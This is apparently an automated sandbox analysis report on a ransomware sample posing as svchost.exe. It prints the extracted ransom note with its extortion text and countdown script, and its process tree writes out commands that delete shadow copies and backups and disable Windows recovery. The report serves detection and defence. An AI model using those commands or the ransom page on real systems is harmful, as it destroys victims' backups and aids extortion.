8e7393013f240334efe2ca52c8a3554628c479becab2b691d114e1e8b3ccd51d

Resubmissions

28/07/2022, 16:40

220728-t6m1ssaabp10

16/01/2022, 03:14

220116-drpcbafecl10

Analysis

max time kernel
169s
max time network
166s
platform
windows7_x64
resource
win7-en-20211208
submitted
16/01/2022, 03:14

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General

Target
svchost.exe
Size 213KB
Sample220116-drpcbafecl
SHA256 8e7393013f240334efe2ca52c8a3554628c479becab2b691d114e1e8b3ccd51d
MD5 39f34aa65e3a95a53f3ec0675fc37905
SHA1 b8206089a3841464c72ee695951854dfe08a82cd
SHA512 7c45d8ba6f080cccaaa3c663d44a796c077f786f48cd392bcb9fa7e60d3b424aa90ecb1ed3c1c810b1607610db42a59eb0a9cc452579e454ca6443b2b249b2cb
MD5 SHA1 SHA512

Score

10^/10

discovery ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Public\Desktop\how_to_decrypt.hta

Ransom Note

ENCRYPTED 11100001111011111111100001111011111100 Time left for payment All your documents, databases, backups, and other critical files were encrypted. Our software used the AES cryptographic algorithm (you can find related information in Wikipedia). It happened because of security problems on your server, and you cannot use any of these files anymore. The only way to recover your data is to buy a decryption key from us. To do this, please send your unique ID to the contacts below. E-mail: copy Unique ID: copy Right after payment, we will send you a specific decoding software that will decrypt all of your files. If you have not received the response within 24 hours, please contact us by e-mail %RESERVE_CONTACT% . We've copied all of your documents, databases, and other essential files. If you try to cheat us or do anything else besides our offer, we'll use the info we have against you. The price depends on how soon you will contact us. You have only four days to make the right choice! If we won't receive your payment within this period, your domain network can be attacked again. Hurry up! Attention! ! Do not try to recover files yourself. this process can damage your data and recovery will become impossible. ! Do not waste time trying to find the solution on the Internet. The longer you wait, the higher will become the decryption key price. ! Do not contact any intermediaries. They will buy the key from us and sell it to you at a higher price. What guarantees do you have? Before payment, we can decrypt three files for free. The total file size should be less than 5MB (before archiving), and the files should not contain any important information (databases, backups, large tables, etc.) var max_discount = 50; var start_date = new Date('January 16 2022 03:14:59'); var discount_date = new Date('January 19 2022 03:14:59'); var end_date = new Date('January 21 2022 03:14:59'); var main_contact = '[email protected]'; var hid = '[82BF4026-2CF0DA92]'; var second_contact = '[email protected]'; var sd = end_date; var dn = new Date(); var zoc, ddGlobal; function document.onblur() { alert('Attention! This important information for you!'); } function setContacts() { document.getElementById('main_contact').innerHTML = main_contact; document.getElementById('second_contact').innerHTML = second_contact; document.getElementById('hid').innerHTML = hid; } function countDiscount() { var term_current = new Date().getTime() - start_date.getTime(); var term_full = discount_date.getTime() - start_date.getTime(); var delta = discount_date.getTime() - new Date().getTime(); delta = new Date(delta); var dt = document.getElementById('pwr'); var timer_discount = document.getElementById('timer_discount'); var discount = document.getElementById('discount'); var hours_to_end = Math.floor(term_full / 1000 / 3600); var hours_current = Math.floor(term_current / 1000 / 3600); if (discount_date.getTime() > dn.getTime()) { var disc_per_hour = parseFloat(max_discount / hours_to_end).toFixed(2); var cur_discount = Math.floor(max_discount - (disc_per_hour * hours_current)); if (discount) { discount.innerHTML = cur_discount + '% discount'; } } if (cur_discount <= 25) { dt.style.cssText = 'border: 1px solid #FFC000;'; if (timer_discount) { timer_discount.style.background = '#FFC000'; } } if (sd.getTime() < dn.getTime() || cur_discount < 5) { dt.style.cssText = 'border: 1px solid #F53636; background-color: #F53636; padding: 16px 20px;'; dt.innerHTML = '<div style="font-size: 16px; color: #ffffff; text-align: center; display: block; font-weight: bold;">Decryption key can be bought at standard cost.</div><div style="font-size: 13px; color: #fff; text-align: center; margin-top: 10px">You need to hurry up to decrypt your data because all your files will be destroyed soon.</div>'; } var dd = (delta.getUTCDate()-1) + ((delta.getUTCMonth()) * 31); var hh = delta.getUTCHours(); var mm = delta.getUTCMinutes(); var ss = delta.getUTCSeconds(); if (dd!=1) { dd=dd+' days'; } else { dd=dd+' day'; } if (hh<10) { hh='0'+hh; } if (mm<10) { mm='0'+mm; } if (ss<10) { ss='0'+ss; } if (timer_discount) { timer_discount.innerHTML = dd + ' ' + hh+':'+mm+':'+ss; } } function ChangeTime() { var sd = end_date; var dn = new Date(); if (sd.getTime() < dn.getTime()) { var dt = document.getElementById('lctw'); dt.innerHTML = '<b>Soon, you won\'t be able to decrypt your files. Contact us immediately!</b>'; dt.style.cssText = 'background-color: #F53636; color: #ffffff; font-weight: bold; padding: 19px 24px; margin: 17px 0 24px; text-align: center; font-size: 20px;'; zoc = 2; } else { var delta = sd.getTime() - dn.getTime(); delta = new Date(delta); var dd = (delta.getUTCDate()-1) + ((delta.getUTCMonth()) * 31); ddGlobal = parseInt(dd); var hh = delta.getUTCHours(); var mm = delta.getUTCMinutes(); var ss = delta.getUTCSeconds(); if (dd!=1) { dd=dd+' days'; } else { dd=dd+' day'; } if (hh<10) { hh='0'+hh; } if (mm<10) { mm='0'+mm; } if (ss<10) { ss='0'+ss; } var dt = document.getElementById('file_lost'); if (dt) { dt.innerHTML= dd+'     '+hh+':'+mm+':'+ss; } } } var count = 100, interval = 10, intervalID; function blink() { if (ddGlobal == 0 && zoc != 2) { var dt = document.getElementById('file_lost'); var dt2 = document.getElementById('text_file_lost'); var test = document.getElementById('test'); if (count == 100) { intervalId = setInterval(function () { dt.style.filter = 'alpha(opacity='+count+')'; dt2.style.filter = 'alpha(opacity='+count+')'; count = count - 2; if (count == 20) clearInterval(intervalId); }, interval); } if (count == 20) { intervalId = setInterval(function () { dt.style.filter = 'alpha(opacity='+count+')'; dt2.style.filter = 'alpha(opacity='+count+')'; count = count + 2; if (count == 100) clearInterval(intervalId); }, interval); } } } function getRandomArbitrary(min, max) { min = Math.ceil(min); max = Math.floor(max); return Math.floor(Math.random() * (max - min)) + min; } function Rndom() { var dt=document.getElementById('rc'); var xx=''; var i=0; while (i < 40) { xx=xx+getRandomArbitrary(0,2); i=i+1; } rc.innerHTML= xx; } function Start() { window.resizeTo(850,720); setContacts(); //ChangeTime(); //setInterval(ChangeTime, 1000); //countDiscount(); //setInterval(countDiscount, 1000); setInterval(blink, 100); setInterval(Rndom,100); } function copytext(s) { window.clipboardData.setData("Text",s); alert(s+' copied to clipboard'); } function Restart() { alert('Attention! This important information for you!'); } var countDownDate = new Date().getTime() + 345600000; var x = setInterval(function() { var now = new Date().getTime(); var distance = countDownDate - now; var days = Math.floor(distance / (1000 * 60 * 60 * 24)); var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60)); var seconds = Math.floor((distance % (1000 * 60)) / 1000); document.getElementById("timer").innerHTML = days + "d " + hours + "h " + minutes + "m " + seconds + "s "; if (distance < 0) { clearInterval(x); document.getElementById("timer").innerHTML = "EXPIRED"; } }, 1000);

Emails

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 2 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	\??\c:\users\admin\pictures\InvokePush.tiff	svchost.exe
File opened for modification	\??\c:\users\admin\pictures\SearchSync.tiff	svchost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Scanning
T1046
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
520	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\MuiCache	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
976	svchost.exe
976	svchost.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeBackupPrivilege	1048	vssvc.exe
Token: SeRestorePrivilege	1048	vssvc.exe
Token: SeAuditPrivilege	1048	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1964	WMIC.exe
Token: SeSecurityPrivilege	1964	WMIC.exe
Token: SeTakeOwnershipPrivilege	1964	WMIC.exe
Token: SeLoadDriverPrivilege	1964	WMIC.exe
Token: SeSystemProfilePrivilege	1964	WMIC.exe
Token: SeSystemtimePrivilege	1964	WMIC.exe
Token: SeProfSingleProcessPrivilege	1964	WMIC.exe
Token: SeIncBasePriorityPrivilege	1964	WMIC.exe
Token: SeCreatePagefilePrivilege	1964	WMIC.exe
Token: SeBackupPrivilege	1964	WMIC.exe
Token: SeRestorePrivilege	1964	WMIC.exe
Token: SeShutdownPrivilege	1964	WMIC.exe
Token: SeDebugPrivilege	1964	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1964	WMIC.exe
Token: SeRemoteShutdownPrivilege	1964	WMIC.exe
Token: SeUndockPrivilege	1964	WMIC.exe
Token: SeManageVolumePrivilege	1964	WMIC.exe
Token: 33	1964	WMIC.exe
Token: 34	1964	WMIC.exe
Token: 35	1964	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1964	WMIC.exe
Token: SeSecurityPrivilege	1964	WMIC.exe
Token: SeTakeOwnershipPrivilege	1964	WMIC.exe
Token: SeLoadDriverPrivilege	1964	WMIC.exe
Token: SeSystemProfilePrivilege	1964	WMIC.exe
Token: SeSystemtimePrivilege	1964	WMIC.exe
Token: SeProfSingleProcessPrivilege	1964	WMIC.exe
Token: SeIncBasePriorityPrivilege	1964	WMIC.exe
Token: SeCreatePagefilePrivilege	1964	WMIC.exe
Token: SeBackupPrivilege	1964	WMIC.exe
Token: SeRestorePrivilege	1964	WMIC.exe
Token: SeShutdownPrivilege	1964	WMIC.exe
Token: SeDebugPrivilege	1964	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1964	WMIC.exe
Token: SeRemoteShutdownPrivilege	1964	WMIC.exe
Token: SeUndockPrivilege	1964	WMIC.exe
Token: SeManageVolumePrivilege	1964	WMIC.exe
Token: 33	1964	WMIC.exe
Token: 34	1964	WMIC.exe
Token: 35	1964	WMIC.exe

Suspicious use of FindShellTrayWindow 46 IoCs

pid	Process
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 976 wrote to memory of 584	976	svchost.exe	28
PID 976 wrote to memory of 584	976	svchost.exe	28
PID 976 wrote to memory of 584	976	svchost.exe	28
PID 976 wrote to memory of 584	976	svchost.exe	28
PID 976 wrote to memory of 776	976	svchost.exe	30
PID 976 wrote to memory of 776	976	svchost.exe	30
PID 976 wrote to memory of 776	976	svchost.exe	30
PID 976 wrote to memory of 776	976	svchost.exe	30
PID 976 wrote to memory of 1380	976	svchost.exe	32
PID 976 wrote to memory of 1380	976	svchost.exe	32
PID 976 wrote to memory of 1380	976	svchost.exe	32
PID 976 wrote to memory of 1380	976	svchost.exe	32
PID 976 wrote to memory of 1356	976	svchost.exe	34
PID 976 wrote to memory of 1356	976	svchost.exe	34
PID 976 wrote to memory of 1356	976	svchost.exe	34
PID 976 wrote to memory of 1356	976	svchost.exe	34
PID 584 wrote to memory of 520	584	cmd.exe	35
PID 584 wrote to memory of 520	584	cmd.exe	35
PID 584 wrote to memory of 520	584	cmd.exe	35
PID 584 wrote to memory of 520	584	cmd.exe	35
PID 976 wrote to memory of 824	976	svchost.exe	37
PID 976 wrote to memory of 824	976	svchost.exe	37
PID 976 wrote to memory of 824	976	svchost.exe	37
PID 976 wrote to memory of 824	976	svchost.exe	37
PID 976 wrote to memory of 1224	976	svchost.exe	39
PID 976 wrote to memory of 1224	976	svchost.exe	39
PID 976 wrote to memory of 1224	976	svchost.exe	39
PID 976 wrote to memory of 1224	976	svchost.exe	39
PID 1356 wrote to memory of 1964	1356	cmd.exe	41
PID 1356 wrote to memory of 1964	1356	cmd.exe	41
PID 1356 wrote to memory of 1964	1356	cmd.exe	41
PID 1356 wrote to memory of 1964	1356	cmd.exe	41

C:\Users\Admin\AppData\Local\Temp\svchost.exe
"C:\Users\Admin\AppData\Local\Temp\svchost.exe"
1⤵
- Modifies extensions of user files
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:976
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "vssadmin delete shadows /all /quiet"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:584
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:520
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0"
  2⤵
  PID:776
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "wbadmin DELETE BACKUP -keepVersions:0"
  2⤵
  PID:1380
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "wmic SHADOWCOPY DELETE"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1356
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic SHADOWCOPY DELETE
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1964
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "bcdedit /set {default} recoveryenabled No"
  2⤵
  PID:824
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
  2⤵
  PID:1224

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1048

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Windows Explorer.lnk[[email protected]].[82BF4026-2CF0DA92]
1⤵
- Modifies registry class
PID:5228

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Public\Desktop\how_to_decrypt.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
PID:6464

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Network Service Scanning

T1046

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

how_to_decrypt.hta

Path C:\Users\Public\Desktop\how_to_decrypt.hta
Size 13KB
SHA256 0877cff3c9c4192c9e8a2a14c17122aa27a876d63c798dbbfe6bca867a5a800f
MD5 84f412c9fd3f32ed12871878f9cfb97b
SHA1 8b4fe81a95a4ec80695788b3668911ed0840bdde
SHA512 d716168985f10523817af8c7c32e74ed422a9cb924865852b2d9f261e77372ca3ed19332939e6ad8bd04e1c8783485abf82e9bce37e2f1cb74a5c6e10a5d5d21
SSDEEP 192:76K5vZlxAiimVCra9P7xUcD5B5x5Gc4v747HTPqjQtqVbhkjisa1Bqj:775v5EizGcDT38c4yZ0TJqj
MD5 SHA1 SHA512 SSDEEP

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memory/976-54-0x0000000076491000-0x0000000076493000-memory.dmp

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memory/5228-63-0x000007FEFC451000-0x000007FEFC453000-memory.dmp

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